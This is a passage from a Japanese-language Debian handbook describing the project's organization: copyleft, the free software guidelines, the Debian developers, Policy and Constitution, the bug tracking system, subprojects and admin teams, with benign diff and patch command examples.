9. **ライセンスは他のソフトウェアを汚染してはいけません。** ライセンスはそのライセンスに従うソフトウェアと一緒に配布されている別のソフトウェアに制限を加えてはいけません。たとえば、ライセンスは同じ媒体を通じて配布されるすべての他のプログラムがフリーソフトウェアでなければいけないと主張してはいけません。

BACK TO BASICS

コピーレフト

コピーレフトとは、著作物とその派生物の利用をプロプライエタリソフトウェアのように制限するというよりもむしろ、自由に利用することを保証するために著作権を利用するという原則です。コピーレフトとは「コピーライト」という用語のダジャレになっています。Richard Stallman は、ダジャレの好きな彼の友人から次のように書いた彼宛の封筒を受け取った際に、この概念を発見しました。「copyleft: all rights reversed (コピーレフト、すなわちすべての権利は逆さにされています)」。コピーレフトは元の著作物およびその変更版 (通常はプログラム) の配布に際して定められた最初の権利のすべてが維持されることを強制します。つまり、もしプログラムがコピーレフトライセンスで公開されたプログラムからコードを派生させているなら、そのプログラムをプロプライエタリソフトウェアとして配布することができないということを意味しています。

最もよく知られているコピーレフトライセンス群はもちろん GNU GPL とその派生物、そして GNU LGPL (GNU Lesser General Public License)、GNU FDL (GNU Free Documentation License) などです。残念なことにこれらのコピーレフトライセンスは通常相互に互換性のないものです。それ故、これらのうちのどれか 1 つを利用するのが最良です。

COMMUNITY

Bruce Perens、賛否の分かれるリーダー

Bruce Perens は Ian Murdock の直後に Debian プロジェクトの 2 代目のリーダーになりました。彼は彼の活動的で独裁的な方針により非常に賛否の分かれるリーダーでした。それにも関わらず、彼は Debian の重要な貢献者であり続けています、Debian は特に彼のおかげで Ean Schuessler の独創的アイディアであるかの有名な「Debian フリーソフトウェアガイドライン」(DFSG) を編集することができました。その後、Bruce は DFSG から Debian に言及された部分を削除することにより DFSG を基にかの有名な「オープンソースの定義」を作りました。

➨ `http://www.opensource.org/`

Bruce は非常に感情的になってプロジェクトを去りましたが、彼は Debian に強い愛着を持ち続けています。なぜなら彼は政治経済の領域に向けて Debian の普及を訴え続けているからで

す。彼はいまだに、アドバイスを与え、Debian を支持する最新の構想を示すために、時折メーリングリストに現れることがあります。

最後に指摘しておきたい点は Bruce が Debian のバージョンに付けられるさまざまな「コードネーム」(1.1 —**Rex**、1.2 —**Buzz**、1.3 —**Bo**、2.0 —**Hamm**、2.1 —**Slink**、2.2 —**Potato**、3.0 —**Woody**、3.1 —**Sarge**、4.0 —**Etch**、5.0 —**Lenny**、6.0 —**Squeeze**、7 —**Wheezy**、8 —**Jessie**、9 —**Stretch**、10 (未リリース) —**Buster**、11 (未リリース) —**Bullseye**、**不安定版**—**Sid**) のモチーフを作ったという点です。これらは映画トイストーリーのキャラクター名から採られています。この全編コンピュータグラフィックスで構成されたアニメーション映画は、Bruce が Debian プロジェクトを率いていた当時に働いていた Pixar スタジオによって制作されました。「Sid」の名前は永久に**不安定版**と関連付けられているため、特別な状態を意味しています。映画の中で、このキャラクターは常におもちゃを壊している隣の子供ですから、**不安定版**に近づき過ぎないように注意してください。別の見方をすると **Sid** は「Still In Development (いまだに開発中)」を意味する頭字語でもあります。

1.3. Debian プロジェクトの内部の仕組み

Debian プロジェクトによるたくさんの最終結果は、経験豊富な Debian 開発者によるインフラ整備作業、Debian パッケージに対する個人または共同作業、そしてユーザからのフィードバックの同時進行により成り立っています。

1.3.1. Debian 開発者

Debian 開発者には公式プロジェクトメンバーとしてのさまざまな責任があります。Debian 開発者はプロジェクトの方針に重大な影響をおよぼします。一般に Debian 開発者は最低 1 つのパッケージに対して責任がありますが、時間に余裕がありそうしたいと思えば、多数のチームに参加することでプロジェクト内でより重い責任を負うことも自由にできます。

➡ `https://www.debian.org/devel/people`

➡ `https://www.debian.org/intro/organization`

➡ `https://wiki.debian.org/Teams`

TOOL

開発者データベース

Debian にはプロジェクトに登録されているすべての開発者と開発者に関連する情報 (アドレス、電話番号、緯度と経度といった地理座標など) のデータベースがあります。一部の情報 (姓名、国籍、プロジェクト内でのユーザ名、IRC ユーザ名、GnuPG 鍵など) は公開されておりウェブから入手することが可能です。

➡ `https://db.debian.org/`

この地理座標を使えば、世界中にいる開発者全員の位置を載せた地図が作れます。Debian は本当の意味で国際的なプロジェクトです。つまり、すべての大陸に開発者がいます (しかしその大部分は「欧米」です)。

図 1.1　世界的に広がる Debian 開発者

パッケージメンテナンスは比較的厳格に管理された活動で、明確に文書化されており、もっと言えばルールが決められています。事実上、パッケージメンテナンスに関連するルールは **Debian ポリシー**の定めるすべての基準と適合します。幸いなことに、パッケージメンテナンスの作業を手助けする多くのツールが存在します。それゆえ、開発者は担当パッケージに固有の作業やたとえばバグ修正などのより複雑な作業に集中することが可能です。

➡ `https://www.debian.org/doc/debian-policy/`

BACK TO BASICS

パッケージメンテナンス、開発者の作業

パッケージメンテナンスとはまず初めにあるプログラムを「パッケージング」することを必要とします。具体的に言うと、パッケージングとはあるプログラムをインストールする方法を定義することを意味しています。パッケージングすることにより、プログラムはインストール後すぐに動作するようになり、Debian プロジェクトが自身のために設定したルールを遵守するでしょう。この操作の結果が `.deb` ファイルに保存されています。事実上、プログラムのインストールに必要な作業とは、圧縮されたアーカイブを展開すること、インストール前およびインストール後にスクリプトを実行すること、だけです。

パッケージングという最初の段階の後、メンテナンスサイクルが本当に始まります。ここでメンテナンスとは、Debian ポリシーの最新版に従うように更新を準備すること、ユーザから報告を受けたバグを修正すること、プログラムの新しい「上流」バージョン (開発を自然に継続したバージョン) を含めること、です。たとえば、最初のパッケージングの際、プログラムのバージョンが 1.2.3 だったとしましょう。数カ月の開発の後、オリジナルの作者は新しい安定版バージョン 1.4.0 を発表しました。この時点で、Debian メンテナはパッケージを更新するべきです。そうすればユーザは最新安定版の恩恵を受けられるようになります。

Debian プロジェクトの重要な要素である Debian ポリシーはパッケージの品質と Debian ディストリビューションの完全な相互運用性の両方を確保するための規範を定めています。Debian ポリシーのおかげで、Debian は巨大であるにも関わらずその一貫性を保っています。Debian ポリシーは不変の原則というわけではなく、debian-policy@lists.debian.org メーリングリストに寄せられた提案を練ることで絶え間なく進化しています。関係者全員からの同意を得られた修正は承認され、編集責任を持たないメンテナの小集団がこれ

を文章に反映します (この小集団ができることは、上に挙げたメーリングリストのメンバーである Debian 開発者から同意を得られた修正を反映させることだけです)。現在寄せられている修正の提案を読むにはバグ追跡システムをご確認ください。

➡ https://bugs.debian.org/debian-policy

COMMUNITY

ポリシー編集手続き

重要度を「wishlist」にして **debian-policy** パッケージにバグ報告を投稿することにより、誰でも Debian ポリシーに修正を提案できます。その後の手続きは /usr/share/doc/debian-policy/Process.html に書かれています。すなわち Debian ポリシーに新しいルールを作ることで投稿された問題を解決しなければいけないと認知された場合、合意に達して提案が公表されるまで debian-policy@lists.debian.org メーリングリストで議論されます。この後、誰かが要求された修正に対する草稿を書いて、承認を求めるために (パッチレビューの形で) 投稿します。2 人の他の開発者が、提案された修正は以前の議論で達せられた合意を反映したものであると承認したら (彼らが修正に「賛同」したら) すぐに、**debian-policy** パッケージメンテナの 1 人がこの提案を公式文書に反映させます。これらの手続きのどれか 1 つでも失敗したら、メンテナは提案を却下に分類して、バグを閉じます。

DEBIAN POLICY

文書

各パッケージに関する文書は /usr/share/doc/**package**/ に保存されています。多くの場合このディレクトリには README.Debian ファイルが含まれています。このファイルにはパッケージメンテナが行った Debian 特有の修正について説明が書かれています。つまり、メンテナの経験から恩恵を受けるためには、設定の前にこのファイルを読むことが賢明です。また、このディレクトリに含まれる changelog.Debian.gz ファイルにはあるバージョンから次のバージョンに更新した際に Debian メンテナが行った変更についての説明が書かれています。このファイルを changelog.gz ファイル (または同等のファイル、上流開発者が行った変更に関する説明が書かれたファイル) と混同してはいけません。copyright ファイルにはソフトウェアの作者とそのライセンスに関する情報が書かれています。最後に、このディレクトリに含まれる NEWS.Debian.gz と名付けられたファイルには Debian 開発者からの更新に関する重要な情報が含まれています。また、**apt-listchanges** がインストール済みの場合、パッケージのインストール時に changelog.Debian.gz および NEWS.Debian.gz に書かれた最新のエントリが自動的に表示されます。その他のファイルはここで注目しているソフトウェアに固有のファイルです。特に注目すべきは examples サブディレクトリで、ここには設定ファイルの例が含まれています。

Debian ポリシーはパッケージングの技術的側面の大部分をカバーしています。Debian プロジェクトの大きさは組織の問題を引き起こします。この種の問題は Debian 憲章に即して対処されます。Debian 憲章は組織体制と意思決定の手段を定めています。これは言い換えれば、組織的な管理システムと言えます。

Debian 憲章はいくつかの役割と役職、併せてそれぞれに対する責任と権限を定義しています。特筆すべきは Debian 開発者は一般決議に投票することで最終決定を行う権限を常に持っているということです、重大な変化 (基本文書に影響をおよぼすような変化) を起こすには特定多数の 4 分の 3 (75%) が投票すること必要です。しかしながら、Debian 開発者は会議で自分たちを代表し、さまざまなチーム間の連携を確保する「Debian プロジェクトリーダー (DPL)」を毎年選びます。リーダーの選挙は常に活発な議論になります。リーダーの役割は何かの文書で正式に定義されているわけではありません。なぜなら通常、リーダー職の候補者はその役割を自分自身で定義し、それを提案するからです。実際のところ、リーダーの役割には開発者からの共感を得るように、メディアに対する代表者として働くこと、「内部」チーム間の連携をとること、プロジェクトに対する包括的な指導を提供すること、が含まれています。そして、DPL の見解は大多数のプロジェクトメンバーから暗黙のうちに容認されています。

具体的に言えば、Debian プロジェクトリーダーは本当の意味での権力を持っています。さらに、賛否同数の場合にはリーダーの投票が決定票となります。その上、リーダーはまだ誰の権限下にもなっていない案件に判決を下したり、自身の権限の一部を委任したりすることが可能です。

Debian が始まって以来ずっと Debian プロジェクトは止まることなく Debian プロジェクトリーダーに先導されてきました。現在までに DPL の職に就いた人は Ian Murdock、Bruce Perens、Ian Jackson、Wichert Akkerman、Ben Collins、Bdale Garbee、Martin Michlmayr、Branden Robinson、Anthony Towns、Sam Hocevar、Steve McIntyre、Stefano Zacchiroli、Lucas Nussbaum、Mehdi Dogguy、Chris Lamb です。

Debian 憲章では「技術委員会」もまた定義されています。技術委員会の本質的な役割とは、ある技術的な事柄に関して関係する開発者の間で合意に達しなかった場合に、その技術的な事柄の決裁を下すことです。また技術委員会の他の役割として、責任を負っている決定で間違いを犯す開発者に対する顧問役があります。ただし、技術委員会は問題になっているグループの一員から参加するように求められた場合のみ議論に参加するということに注意しなければいけません。

最後に、Debian 憲章では「プロジェクト秘書」の役職も定義しています。プロジェクト秘書はさまざまな選挙と一般決議に関連する投票の運営に責任を負っています。

「一般決議」の手続きは Debian 憲章の中で最初の議論期間から最後の開票まで詳細に説明されています。この手続の最も興味深い側面は、現行の投票に関して言えば、開発者は様々な投票選択肢に対して選好の順序を付けなければいけないということと、コンドルセ方式[1] (より正確に言えば、シュルツ方式) に基いて勝者が選ばれるということです。より詳しい情報は以下のページを参照してください。

➡ `http://www.debian.org/devel/constitution.en.html`

CULTURE

ののしり合戦、炎上する議論

「ののしり合戦」とは極めて熱のこもった討論であり、多くの場合、合理的な議論が出尽くした後、双方が互いを攻撃して終わります。テーマによっては他のテーマに比べてより頻繁に論争を引き起こす場合があります (エディタの選択、「`vi` と `emacs` のどっちが好き?」、は昔からよく議論の的にされてきました)。あるテーマに対して一家言ある人々が非常に多いこと (参加者全員がそうである場合もあります) や質問内容が極めて個人的なものであることが原因で、多くの場合極めて素早く電子メールが交換されることになります。

ののしり合戦からは一般的で特に有益な結論は何一つ生まれません。従って一般的には、ののしり合戦に関わらないこと、必要なら議論の内容を素早く流し読みするだけに留めておくこと (すべての内容を読むことは多大な時間を必要としすぎるでしょうから)、をお勧めします。

たとえ Debian 憲章の規定する民主制が名ばかりのようなものであったとしても、毎日の現実は全く違ったものです。なぜなら Debian は当然ながらフリーソフトウェアにおける能動主義 (do-ocracy) のルールに従い、物事はそれを行った者がどのように行うかを決めるからです。問題に対処するさまざまな方法のそれぞれの価値を議論することは多くの時間を無駄にする可能性があります。つまり議論の結果最終的に選ばれるのは、現実的かつ要件を満足できる最初に提案された解決策になることでしょう…。このような解決策は、一人の有能な人物が時間をかけて努力しなければ、導き出されるものではありません。

Debian プロジェクト内で自分の地位を高めるにはたった一つの方法しかありません。すなわち、何か有益なことをして、それがうまくいったことを示すことです。多くの Debian「管理」チームはチーム内メンバーからの推薦で新メンバーを採用します。つまり、これまでの貢献が効果を挙げており、本人の能力が証明されているボランティアを好むということです。これらのチームの作業は公開されており、新しい貢献者がその

[1] `https://en.wikipedia.org/wiki/Condorcet_method`

作業を観察し手助けを開始するのに特権を必要としません。そのため、Debian は「業績主義」と言われています。

CULTURE

業績主義、知識の統治

業績主義とは、最も高い業績をもつものが権力を行使するという政治の形態です。Debian においては、業績は能力を測る物差しであり、能力はプロジェクトの単独または複数のメンバーが過去の行動を観察して評価されます (元プロジェクトリーダーの Stefano Zacchiroli は「do-ocracy」の意味は「物事を成し遂げた人に与えられる権力」を意味すると言っています)。単に業績があるということで能力が一定のレベルに達していることを証明するのです。そして、一般に成果とはソースコードが入手できるフリーソフトウェアに対するもので、同業者はソースコードから成果の品質を評価することが容易に可能です。

この効果的な運営方法のおかげで「重要な」Debian チーム内では貢献者の品質が保証されています。この方法は決して完璧ではありませんし、時々この運営方法を受け入れられない人もいます。チーム内で採用されている開発者の選択基準は少し気まぐれかもっと言えば不公平なものに見えるかもしれません。その上、チームから受けられるサービスに関して全員が同じ定義を共有しているとも限りません。新しい Debian パッケージを含めるのに 8 日間待たなければいけないのは受け入れがたいという人もいれば、なんの問題もなく 3 週間気長に待つという人もいます。そんなわけで、いくつかのチームが提供する「サービス品質」には常に不満の声が上げられています。

COMMUNITY

新しいメンテナの参加

新しい開発者の受け入れに責任を持つチームは最も定期的に批判されているチームです。ここ数年 Debian プロジェクトにはさらに多くの開発者が必要になっており、そのため今後 Debian プロジェクトは多くの開発者を受け入れることになるでしょう。われわれはこの方針を認めなければいけません。一部の人々はこの方針に不公平さを感じるかもしれません。しかし、Debian は自身がユーザに向けて作り出したすべての物に対して品質と整合性を保証するという原則を考慮すると、これが初めは小さな挑戦だったとしても 1,000 人を超えるコミュニティ内でその挑戦はより大きなものになります。われわれはこの点について自覚しなければいけません。

その上、受け入れ手続きの最終的な判断は小さなチームである Debian アカウントマネージャによる立候補者の審査に委ねられています。マネージャはボランティアを Debian 開発者コミュニティに受け入れるか拒否するかについて最終的な決定権を持っているため、特に批判を浴びるのです。実際問題として、マネージャはある候補者がプロジェクトの活動についてより多くを学ぶまでの間、その候補者の受け入れを遅らせなければならないことがあります。もちろん、候補者は現在の開発者を支援することで、公式開発者として受け入れられる前に Debian に対して貢献することも可能です。

1.3.2. ユーザの積極的役割

読者の皆様の中には Debian プロジェクト内で働く人の中でも特にユーザに言及する必要があるのではないかと感じる方がいらっしゃるかもしれません。これはごく当たり前の感覚です。なぜなら Debian プロジェクトではユーザが重要な役割を果たしているからです。「受け身」の状態から一歩進んで、Debian の開発版を使い、バグ報告を提出して問題を指摘するユーザもいます。さらに深く立ち入り、重要度「wishlist」のバグ報告を提出することで改善案を投稿したり、「パッチ」と呼ばれるソースコードの修正を投稿するユーザもいます (補注「 パッチ、修正を送る方法」15 ページをご覧ください)。

TOOL

バグ追跡システム

Debian バグ追跡システム (Debian BTS) はプロジェクトで広く使われています。公開部分 (ウェブインターフェース) を使ってユーザは報告されたバグをすべて見ることが可能です、必要であれば、さまざまな基準に従ってソート済みのバグリストを表示することが可能です。ここで基準とは、影響を受けるパッケージ、重要度、状態、報告者のアドレス、パッケージの責任を負うメンテナのアドレス、タグなどです。あるバグに関連するすべての議論の完全な履歴リストを閲覧することも可能です。

内部的には Debian BTS は電子メールを基礎に使っています。すなわち、BTS に保存されているすべての情報は関係するさまざまな人が送信したメッセージに基づいています。12345@bugs.debian.org 宛に送信された電子メールはバグ番号 12345 のバグに関する連絡履歴に割り当てられます。議論を終わらせる理由を説明したメッセージを 12345-done@bugs.debian.org 宛に書くことで、権限のある人がバグを「閉じる」ことがあります (バグを閉じるのは、報告された問題が解決されたか、もはやその問題に意味がない場合です)。新しいバグを報告するには、問題になっているパッケージの特定に必要である特殊な書式に従い、submit@bugs.debian.org 宛に電子メールを送ってください。アドレス control@bugs.debian.org はあるバグに関連するすべての「メタ情報」を編集するために設けられています。

Debian BTS には他にも機能的特色 (バグにラベル付けするための便利なタグ機能など) があります。詳しい情報を見るには以下の URL を参照してください。

➨ `https://www.debian.org/Bugs/`

VOCABULARY

バグの重要度

バグの重要度とは堅苦しく言うと報告された問題の重要性の度合いを意味しています。現実的には、すべてのバグの重要性は同一ではありません。たとえばマニュアルの誤植とサーバソフトウェアのセキュリティ脆弱性の重要度は全く違います。

Debian はバグの重要度を類型化するために等級の意味を拡大して使用しています。それぞれのレベルは、重要度の選択がしやすいよう、明確に定義されています。

➨ `https://www.debian.org/Bugs/Developer#severities`

加えて、Debian の提供するサービスに満足している数多くのユーザが彼ら自身の手でプロジェクトに貢献をしたいと思っています。プログラミングに関する専門知識のレベルが十分でない人は翻訳や文書のレビューを行うことで手助けを行うことを選ぶかもしれません。このような作業を行うために各言語に特有の問題を議論するためのメーリングリストがあります。

➨ `https://lists.debian.org/i18n.html`

➨ `https://www.debian.org/international/`

BACK TO BASICS

i18n (国際化) と l10n (地域化) とは?

「i18n」と「l10n」は「internationalization (国際化)」と「localization (地域化)」の略語です。それぞれの単語の最初と最後の文字を取って、両者に挟まれた文字をその文字数で表しています。

あるプログラムの「国際化を行う」ということは、そのプログラムを翻訳 (地域化) できるように変更を加えることを含んでいます。これは最初ある言語で動くように書かれたプログラムを一部書き換えて、どんな言語でも動くようにすることを伴います。

あるプログラムの「地域化を行う」ということは、元のメッセージ (英語の場合が多い) を他の言語に翻訳することを含んでいます。地域化を行うには先にプログラムを国際化しておかなければいけません。

まとめると、国際化とはソフトウェアを翻訳するための準備で、翻訳することにより地域化が行われます。

BACK TO BASICS

パッチ、修正を送る方法

パッチとは単独または複数のファイルに対する変更内容を記述したファイルです。具体的に言うと、パッチはコードを修正後の内容に置き換えるために、コードから削除された行と追加された行と (時々) それらの行位置の目印となるテキスト (これは行番号が変わった場合に変更の場所を特定するためのものです) のリストを含んでいます。

パッチファイルの提供する修正を適用するためのツールは patch と呼ばれています。パッチファイルを作成するためのツールは diff と呼ばれており、以下のように使います。

```
$ diff -u file.old file.new >file.patch
```

file.patch ファイルには file.old の内容を file.new の内容に変更するための指示が含まれています。われわれはこのパッチファイルを送信することができ、受け取った人はパッチファイルを適用して file.new を再作成することが可能です、これを行うには以下のようにします。

```
$ patch -p0 file.old <file.patch
```

こうすることで file.old ファイルは file.new と全く同じものになります。

TOOL

reportbug を使ったバグ報告

reportbug ツールは Debian パッケージに対するバグ報告を簡単に送信できるようにするためのものです。reportbug は問題になっているバグが既に報告されていないかを確認する際に役立ち、同じバグがシステムに報告されることを防いでいます。reportbug はユーザに可能な限り正確な報告をさせるために、重要度の定義を表示します (開発者は後から必要になればいつでもレベルを微調整することが可能です)。reportbug はバグ報告を適切な書式に整形する機能と内容をユーザが編集できる機能を提供しているので、reportbug を使えばユーザはバグ報告の正確な書式を知らなくても完全なバグ報告を書くことが可能です。その後、この報告は電子メールサーバを経由して送信されます (デフォルトでは Debian が運営するリモートサーバを使いますが、reportbug はローカルサーバを使うことも可能です)。

reportbug はどちらかと言えば開発版で使用すべきツールです。なぜなら、報告されたバグは開発版で修正されるからです。実際のところ、Debian の安定版では、セキュリティ更新やその他の重要な更新 (たとえば、あるパッケージが全く動かない) などのごく少数の例外を除いて、修正を歓迎しません。そんなわけで Debian パッケージの深刻でないバグの修正は次の安定版まで待たなければいけません。

ユーザの行動の仕方によって、上で述べたすべての貢献の仕組みはさらに効果的なものになります。孤立したユーザの集合体から一歩進んで、ユーザ間の交流が数多く起こるコミュニティこそが本物のコミュニティなのです。ユーザ議論用のメーリングリストである debian-user@lists.debian.org では素晴らしい活動がなされています (第 7 章「問題の解決と関連情報の探索」136 ページではこの件に関して詳細に議論しています)。

ユーザは自分に直接影響をおよぼす技術的な問題について互いに助け合ったり、技術的な問題を抱える誰かを助けたりするだけでなく、Debian プロジェクトに貢献するための最良の方法を話し合い、Debian プロジェクトを前進させる手助けをしています。このような議論はしばしば改良を提案するものとなります。

Debian は自己アピールによる普及キャンペーンに資金を使わないため、Debian のユーザは Debian の普及に重要な役割を果たし、Debian の評判は口コミで伝わることが保障されています。

この方法は極めてうまくいきます。なぜならフリーソフトウェアコミュニティのあらゆる層に Debian の支持者がいるからです。すなわち、地域の LUG「Linux ユーザグループ」が企画したインストールパーティ (ベテランユーザが新しいユーザにシステムのインストールの補助を行うワークショップ) から、Linux などについて取り扱う大きな技術会議のアソシエーションブースにまで、Debian の支持者がいるということです。

ボランティアがポスター、パンフレット、ステッカーなどのプロジェクトの宣伝に役立つ資料を作っています。この宣伝資料は誰もが利用できるようにされており、Debian はウェブサイトでこの宣伝資料を無制限に提供しています。

➡ `https://www.debian.org/events/material`

1.3.3. チームとサブプロジェクト

Debian は最初からずっと、ソースパッケージの概念を中心に組織化され続けており、ソースパッケージにはそのメンテナとメンテナのグループがいます。多くの作業チームは長い時間をかけて生まれ続けており、最近サブプロジェクトの周りで成長している最新の一連のチームとともに、インフラの運営および特定のパッケージに依存しないタスク (品質保証、Debian ポリシー、インストーラなど) の管理を保証しています。

現存する Debian サブプロジェクト

人それぞれ好みの Debian があります! サブプロジェクトは Debian を特定のニーズに適応させることに興味を持つボランティアのグループです。特定の領域 (教育、医療、マルチメディア制作など) を対象としたプログラム群の選定にとどまらず、サブプロジェクトは既存パッケージの改良、不足ソフトウェアのパッケージング、インストーラの適応作業、特定文書の作成などにも従事しています。

VOCABULARY

サブプロジェクトと派生ディストリビューション

派生ディストリビューションの開発工程とは、Debian の特定のバージョンを土台としてそれにたくさんの変更を加えることです。派生ディストリビューションを支える基礎構造は Debian プロジェクトとは全く別物です。また、Debian のように改良に貢献するポリシーを定める必要はありません。この違いは、派生ディストリビューションが Debian から「分岐」した理由、派生ディストリビューションが開発の上流側でなされた改良の恩恵を受けるために Debian と自身のソースを定期的に再同期しなければいけない理由、を説明します。

一方でサブプロジェクトは分岐できません、なぜなら特定の目的に対して適用するためにサブプロジェクトで行ったすべての作業は直接的に Debian の改善になるからです。

Debian から派生したディストリビューションはたくさんありますが、最も知られているものは間違いなく Ubuntu でしょう。派生ディストリビューションの詳細と Debian との関連性における立ち位置について学ぶには付録 A「派生ディストリビューション」443 ページをご覧ください。

以下は現存するサブプロジェクトを一部抜粋したものです。

- Debian-Junior。これは Ben Armstrong によって作成され、子供向けに魅力的で使いやすい Debian システムを提供しています。
- Debian-Edu。これは Petter Reinholdtsen によって作成され、学問の世界向けに特化したディストリビューションの作成を重視しています。
- Debian Med。これは Andreas Tille によって作成され、医療分野に特化しています。
- Debian Multimedia。これは音声およびマルチメディア制作を取り扱います。
- Debian-Desktop。これはデスクトップを重視しデフォルトテーマのアートワーク作成の調整役を務めています。
- Debian GIS。これは地理情報システムのアプリケーションとユーザの面倒を見ています。

- 最後に Debian Accessibility。これは障がいのある人々の要求に合致するよう Debian を改良しています。

Debian サブプロジェクトの数は時間が経過するに従って増え続け、Debian サブプロジェクトの良さに対する認識を改良し続けることは間違いありません。既存の Debian のインフラはサブプロジェクトを完全にサポートしているので、実質的にサブプロジェクトが真の付加価値を上げるための作業に集中することを可能にしています。サブプロジェクトは Debian プロジェクト内で開発しているため Debian との同期について心配することはありません。

管理チーム

多くの管理チームは比較的閉鎖的で新メンバーの採用は現メンバーからの選出で決まります。管理チームの一員になる最良の手段は現在のメンバーを賢明に手伝うこと、つまり自分が管理チームの目標と流儀を理解していることをはっきり示すことです。

ftpmaster は Debian パッケージの公式アーカイブの責任者です。ftpmaster はあるプログラムのメンテナンスを担当しており、このプログラムは開発者が送信したパッケージを受け取り、いくつかの事項を確認した後にパッケージを自動的に参照基準サーバ (ftp-master.debian.org) に保存しています。

ftpmaster はまた、パッケージデータベースの中に新しいパッケージを追加する前に、Debian がこのパッケージを配布しても問題ないことを確認するために、このパッケージのライセンスを確認します。開発者がパッケージの削除を希望する場合、開発者はバグ追跡システムから **ftp.debian.org**「擬似パッケージ」に対してバグ報告を行い、ftpmaster と連絡を取ります。

VOCABULARY

擬似パッケージ、監視ツール

バグ追跡システムは、当初バグ報告を Debian パッケージと関連付けるために設計されましたが、その他の問題の管理にも非常に実用的であると証明し続けています。ここでその他の問題の管理とは、特定の Debian パッケージに関係しない解決すべき問題をリストアップしたり、作業を管理することです。一部のチームでは「擬似パッケージ」を使うことで、チームが実在のパッケージに関連がなくとも、バグ追跡システムを使うことができています。誰でも対処が必要な問題を報告できます。たとえば、BTS の **ftp.debian.org** エントリは、公式パッケージアーカイブに関する問題を報告し追跡するため、もしくはパッケージの削除要求を出すために利用されます。同様に、**www.debian.org** 擬似パッケージは Debian ウェブサイトの誤りを指摘するためのもので、**lists.debian.org** ではメーリングリストに関するすべての問題を扱います。

TOOL

FusionForge、共同開発における万能ナイフ

FusionForge は `www.sourceforge.net`、`alioth.debian.org`、`savannah.gnu.org` などと同様のサイトを作成できるプログラムです。FusionForge はプロジェクトをホストし、容易に共同開発を行うためのさまざまなサービスを提供します。各プロジェクトは専用の仮想領域を持ち、ここにはウェブサイト、一般にバグやパッチを追跡するための「チケット発行」システム、検査ツール、ファイルストレージ、フォーラム、リポジトリのバージョン操作システム、メーリングリスト、その他のさまざまな関連サービスが含まれています。

`alioth.debian.org` は Debian の FusionForge サーバで、Alexander Wirt、Stephen Gran、Roland Mas が管理しています。Debian 開発者が 1 人以上参加しているプロジェクトならなんでもここでホストすることが可能です。

➨ `http://alioth.debian.org/`

FusionForge にはいろいろな種類のサービスが含まれているため、その内部はかなり複雑であるにも関わらず、FusionForge は比較的簡単にインストールできます。これは Roland Mas

と Christian Bayle が **fusionforge** Debian パッケージに対して行った非常に優れた成果のおかげです。

Debian システム管理者 (DSA) チーム (debian-admin@lists.debian.org) は、読者の皆様の予想通り、Debian プロジェクトが利用する多くのサーバのシステム管理に対して責任があります。DSA チームは、すべての基盤サービス (DNS、ウェブ、電子メール、シェルなど) を最適に機能させること、Debian 開発者から要求のあったソフトウェアをインストールすること、セキュリティ関連の予防策を適用すること、を保証します。

➨ `https://dsa.debian.org`

TOOL

Debian パッケージトラッカー

Debian パッケージトラッカーは Raphaël の業績の一つです。Debian パッケージトラッカーの基本的な考え方は、あるパッケージに対して、可能な限り多くの情報を単一のページに集中させることです。こうすることで、ユーザは素早くプログラムの状態を確認し、完了させなければいけない作業を特定し、プログラムの開発に支援を申し出ることが可能です。そのため、このページには、すべてのバグ統計、それぞれのディストリビューションで利用できるバージョン、**テスト版**ディストリビューションにおけるパッケージの作業進行状況、パッケージ説明文と debconf テンプレートの翻訳状況、新しい上流開発版を入手できるか否か、最新の Debian ポリシーに対する違反通知、メンテナに関する情報、その他メンテナが含めたいと望んだ情報、が集められています。

➨ `https://tracker.debian.org/`

電子メール購読サービスがこのウェブインターフェースを完全なものにします。電子メール購読サービスは情報を選別して自動的に送信します。ここで情報とは、バグおよびバグに関連する議論、Debian サーバから新しいバージョンが利用できるか否か、査読待ちの新しい翻訳などを指します。

熟練ユーザは一度パッケージ追跡システムの機能を十分よく理解したら、すべての情報をしっかりと追いかけ、より一層 Debian プロジェクトに貢献することが可能です。

もう一つのウェブインターフェースは **Debian Developer's Packages Overview** (DDPO) として知られています。DDPO はある開発者が責任を持つすべての Debian パッケージの概要を提供します。

➨ `https://qa.debian.org/developer.php`

Debian パッケージトラッカーと Debian 開発者のパッケージ一覧は Debian の品質保証に責任を負うグループ (このグループは Debian QA として知られています) によって開発および管理されているツールです。

listmaster はメーリングリストを運営する電子メールサーバを管理します。新しいメーリングリストを作成し、宛先が不明なメールを処理 (配送失敗通知) し、スパムフィルタ (迷惑メールフィルタ) をメンテナンスするのは **listmaster** の役目です。

CULTURE

メーリングリストの流量に関する統計データ

メーリングリストがプロジェクトの活発度を証明する最良の方法であることは間違いありません。なぜならプロジェクト内で起きたことをすべて記録しているからです。われわれのメーリングリストに関するいくつかの統計調査がそれを雄弁に語っています (統計調査は 2017 年に行われました)。統計調査の結果によれば、Debian は 250 を超えるメーリングリストをホストしており、合計で 217,000 個のユニークアドレスが登録されています。毎月 27,000 通のメッセージが送信され、毎日 476,000 通の電子メールが配送されています。

Debian が提供する各サービスには専属の管理チームがあり、ほとんどの場合そのサービスを設置したボランティア (しばしばサービスで利用しているツールをプログラムしたボランティア) がチームのメン

バーになっています。これに当てはまるケースとして、バグ追跡システム (BTS)、パッケージトラッカー、alioth.debian.org (FusionForge サーバ、補注「 FusionForge、共同開発における万能ナイフ」17 ページを参照してください)、qa.debian.org で利用できるサービス、lintian.debian.org、buildd.debian.org、cdimage.debian.org などがあります。

開発チーム、横断チーム

管理チームとは異なり、開発チームの門戸は外部の貢献者に向けてかなり大きく開かれています。Debian の使命がソフトウェアを作成することではないとしても、Debian プロジェクトは目標を達成するために特定のプログラムを必要としています。もちろん、フリーソフトウェアライセンスの下で開発されたそれらのソフトウェアはフリーソフトウェア世界の他の場所で保証されている方法を活用します。

CULTURE

Git

Git は複数のファイルに対して共同で作業を行う際のツールで、同時に変更の履歴を管理するツールでもあります。通常 Git が管理対象とするファイルはプログラムのソースコードなどのテキストファイルです。もし数人が同じファイルに対して一緒に作業を行った場合、`git` がマージできるのは、同じファイルの別の場所に行われた修正だけです。それ以外の場合、手作業で「衝突」を解決しなければいけません。

